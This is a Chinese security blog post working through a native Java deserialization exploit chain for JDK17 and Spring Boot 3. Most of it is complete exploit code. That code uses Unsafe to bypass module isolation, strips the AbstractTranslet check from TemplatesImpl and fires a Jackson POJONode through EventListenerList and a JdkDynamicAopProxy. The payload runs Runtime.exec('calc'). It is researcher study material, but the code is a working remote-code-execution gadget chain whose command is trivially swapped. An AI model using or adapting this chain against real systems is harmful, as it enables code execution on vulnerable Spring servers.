在p神星球看到有师傅发出来的,学习一下

环境

这里用jdk17+spring-boot来搭建环境

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.4.3</version>
</dependency>

去除TemplatesImpl的AbstractTranslet限制

我们知道以前使用TemplatesImpl一定是要继承AbstractTranslet,但是其实有方法去打破这种机制,可以看下面的文章:

https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

我们可以看一下TemplatesImpl的那一段的关键逻辑

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

根据这个核心代码我们知道,如果不继承AbstractTranslet我们就会走else这个方法,然后_auxClasses的赋值在前面的classCount的判断地方,所以要求我们的二维字节数组的元素数量要大于1,不然到这里put的时候会空指针异常

然后_transletIndex这个变量并没有transient修饰,所以我们也可以控制,只需要设置为你需要newInstance的恶意字节码所对应的数组下标即可

这个挺好分析的,绕过的利用代码如下

package org.clown;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Field;


public class Main {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}

public static TemplatesImpl getTemplates() throws Exception {
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
CtClass tmp_clazz = pool.makeClass("b");
// 让字节数组长度为2
byte[][] bytes = new byte[][]{clazz.toBytecode(),tmp_clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 设置Index为0,这个主要看你的哪一个字节码是恶意字节码
setFieldValue(templates, "_transletIndex", 0);
return templates;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplates();
templates.newTransformer();
}
}

image-20250918115357726

高版本使用TemplatesImpl

前面为了去除AbstractTranslet这层限制,是因为高版本下继承AbstractTranslet会触发模块隔离的限制,因为TemplatesImpl和AbstractTranslet实际上是不在同一模块内的,用Unsafe修改模块也不可能同时身处两个模块,所以就需要前面的绕过限制

高版本调用TemplatesImpl的写法如下:

package org.clown;


import javassist.*;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;


public class Main {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}

public static void main(String[] args) throws Exception {
// 获取Unsafe实例
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
//获取ClassLoader的module
// Module baseModule = Object.class.getModule();
Module xmlModule = Templates.class.getModule();
Class<?> currentClass= Main.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,xmlModule); //更改当前运行类的Module

// 生成恶意TemplatesImpl
Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance();
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
CtClass tmp_clazz = pool.makeClass("b");
// 让字节数组长度为2
byte[][] bytes = new byte[][]{clazz.toBytecode(),tmp_clazz.toBytecode()};

setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object fac = facClazz.newInstance();
setFieldValue(templates, "_tfactory", fac);
setFieldValue(templates, "_transletIndex", 0);
templates.newTransformer();

}
}

image-20250918152951290

这里可以注意到我这里强制转换成了Templates接口

image-20250918153110295

证明Templates是对外export的

image-20250918111542732

从他的module-info文件也可以看出来

这个细节在后面构建完整利用链的时候就用上了

构建完整利用链

我们打spring-boot的时候,用的是jackson的这条链,但是高版本下的BadAttributeValueExpException触发toString已经没有了,所以就是要用到其他原生触发toString的方法,EventListenerList,这个也是之前就有遇到过的,可以看这个师傅的文章:
https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString

最终的exp如下:

package org.clown;


import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Vector;


public class Main {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
//获取已实例化类中的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}
public static void bypassModule(Class clazz) throws Exception {
// 获取Unsafe实例
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
Module module = clazz.getModule();
Class<?> currentClass= Main.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,module); //更改当前运行类的Module
}

public static void main(String[] args) throws Exception {
// 删除的BaseJsonNode的writeReplace方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);

ctClass3.toClass();


// 修改运行模块
bypassModule(Templates.class);

// 生成恶意TemplatesImpl
Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance();
//生成恶意类
CtClass clazz = pool.makeClass("a");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
CtClass tmp_clazz = pool.makeClass("b");
// 让字节数组长度为2
byte[][] bytes = new byte[][]{clazz.toBytecode(),tmp_clazz.toBytecode()};

setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object fac = facClazz.newInstance();
setFieldValue(templates, "_tfactory", fac);
setFieldValue(templates, "_transletIndex", 0);
POJONode pojonode = new POJONode(templates);
// 修改模块
bypassModule(javax.swing.undo.CompoundEdit.class);
EventListenerList eventListenerList = getEventListenerList(pojonode);

byte[] serialize = serialize(eventListenerList);
deserialize(serialize);


}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

image-20250918165231354

这里生成的时候还要加一些vm配置,其实我们什么vm配置都可以不加,这个后面解释

--add-opens=java.base/java.lang=ALL-UNNAMED

有关JdkDynamicAopProxy

这里我并没有用JdkDynamicAopProxy去做代理,也能够触发,Templates接口本身也有getOutputProperties方法,然后我以为他在获取getter方法的时候能够只获取接口的方法相当于也实现了稳定的触发

但是我调试的时候发现他是根据运行时类来获取方法的,所以其获取到的还是TemplatesImpl类的方法,还是可能会存在不稳定的风险

image-20250918170237865

Method[] methods = Templates.class.getMethods();

这种方式就会只获取到Templates接口的两种方法

// 修改运行模块
bypassModule(Templates.class);

// 生成恶意TemplatesImpl
Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance();
Method[] methods = templates.getClass().getMethods();
System.out.println(methods.length);
for (Method method : methods) {
System.out.println(method.getName());
}

而这种写法他就会根据运行时类来获取,从而获取到TemplatesImpl的方法,所以应该是jackson在处理的时候采用的是获取动态运行时的类来获取方法,这样就导致即使你传接口也没用

然后我用动态代理去代理Templates接口的话结果就如下:

image-20250918170450836

他就只获取到了Templates接口的两个方法了,这样就实现了稳定性了

所以下面是稳定打法的exp

package org.clown;


import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Vector;


public class Main {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
//获取已实例化类中的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}
public static void bypassModule(Class clazz) throws Exception {
// 获取Unsafe实例
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
Module module = clazz.getModule();
Class<?> currentClass= Main.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,module); //更改当前运行类的Module
}

public static void main(String[] args) throws Exception {
// 删除的BaseJsonNode的writeReplace方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);

ctClass3.toClass();


// 修改运行模块
bypassModule(Templates.class);

// 生成恶意TemplatesImpl
Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance();

//生成恶意类
CtClass clazz = pool.makeClass("a");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
CtClass tmp_clazz = pool.makeClass("b");
// 让字节数组长度为2
byte[][] bytes = new byte[][]{clazz.toBytecode(),tmp_clazz.toBytecode()};

setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object fac = facClazz.newInstance();
setFieldValue(templates, "_tfactory", fac);
setFieldValue(templates, "_transletIndex", 0);
// 创建Aop代理
Object o = makeTemplatesImplAopProxy(templates);
POJONode pojonode = new POJONode(o);
// 修改模块
bypassModule(javax.swing.undo.CompoundEdit.class);
EventListenerList eventListenerList = getEventListenerList(pojonode);

byte[] serialize = serialize(eventListenerList);
deserialize(serialize);

}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
}

image-20250918171129250

vm配置问题

我们前面加了一个vm配置,其实这个配置可以去除,我们可以一个配置都不加

--add-opens=java.base/java.lang=ALL-UNNAMED

按前面的exp写法如果不加的话我们会在

ctClass3.toClass();

这行代码报错,我们可以看看他的报错

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2e5c649
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
at javassist.ClassPool.toClass(ClassPool.java:1240)
at javassist.ClassPool.toClass(ClassPool.java:1098)
at javassist.ClassPool.toClass(ClassPool.java:1056)
at javassist.CtClass.toClass(CtClass.java:1298)
at org.clown.Main.main(Main.java:61)

Process finished with exit code 1

这是因为我们在toClass的时候涉及到类加载以及反射,这里就会触发隔离机制的检查,我们可以调试看具体的触发类型

image-20250918161757382

这里可以看到javassist的类跟java.lang并不在一个module,所以如果我们要toClass的话还要去修改SecurityActions这个类的module

一种做法就是前面直接加vm配置,将java.lang直接open给未命名模块

还有一种就是修改一下javassist.util.proxy.SecurityActions类的模块

最终修改后的exp如下:

package org.clown;


import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Vector;


public class Main {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = getField(object.getClass(),fieldName);
f.setAccessible(true);
f.set(object,value);
}
//获取已实例化类中的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getField(Class clazz, String fieldName) throws NoSuchFieldException {
while (true){
Field[] fields = clazz.getDeclaredFields();
for(Field field:fields){
if(field.getName().equals(fieldName)){
return field;
}
}
if(clazz == Object.class){
break;
}
clazz = clazz.getSuperclass();
}
throw new NoSuchFieldException(fieldName);
}
public static void bypassModule(Class clazz) throws Exception {
// 获取Unsafe实例
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
Module module = clazz.getModule();
Class<?> currentClass= Main.class;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,module); //更改当前运行类的Module
}
public static void bypassModule(Class currentClazz, Class clazz) throws Exception {
// 获取Unsafe实例
Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass= (Unsafe) unSafeField.get(null);//获取Unsafe实例
Module module = clazz.getModule();
Class<?> currentClass= currentClazz;
long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass,addr,module); //更改当前运行类的Module
}

public static void main(String[] args) throws Exception {
// 删除的BaseJsonNode的writeReplace方法
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);
// 修改SecurityActions的模块
bypassModule(Class.forName("javassist.util.proxy.SecurityActions"),Object.class);
ctClass3.toClass();
// 修改当前类的运行模块
bypassModule(Templates.class);

// 生成恶意TemplatesImpl
Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance();

//生成恶意类
CtClass clazz = pool.makeClass("a");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
CtClass tmp_clazz = pool.makeClass("b");
// 让字节数组长度为2
byte[][] bytes = new byte[][]{clazz.toBytecode(),tmp_clazz.toBytecode()};

setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "clown");
Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object fac = facClazz.newInstance();
setFieldValue(templates, "_tfactory", fac);
setFieldValue(templates, "_transletIndex", 0);
// 创建Aop代理
Object o = makeTemplatesImplAopProxy(templates);
POJONode pojonode = new POJONode(o);
// 修改模块
bypassModule(javax.swing.undo.CompoundEdit.class);
EventListenerList eventListenerList = getEventListenerList(pojonode);

byte[] serialize = serialize(eventListenerList);
deserialize(serialize);

}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
}

image-20250918173711111

参考

https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/

https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString